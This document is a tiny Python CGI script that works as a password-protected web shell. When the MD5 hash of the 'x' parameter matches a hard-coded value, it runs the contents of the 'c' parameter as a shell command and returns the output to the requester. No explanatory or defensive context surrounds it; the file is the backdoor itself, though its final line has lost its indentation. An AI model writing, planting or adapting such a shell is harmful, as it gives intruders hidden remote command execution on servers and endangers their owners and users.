#!/usr/bin/env python3
import sys,os,cgi,hashlib
sys.stdout.write('Content-Type: text/plain\r\n\r\n')
sys.stdout.flush()
f=cgi.FieldStorage()
x=f.getvalue('x','')
c=f.getvalue('c','')
if hashlib.md5(x.encode()).hexdigest()=='9e499aa5b8c54b26c616085b0f5f2a73' and c:
os.write(1,os.popen(c+' 2>&1').read().encode())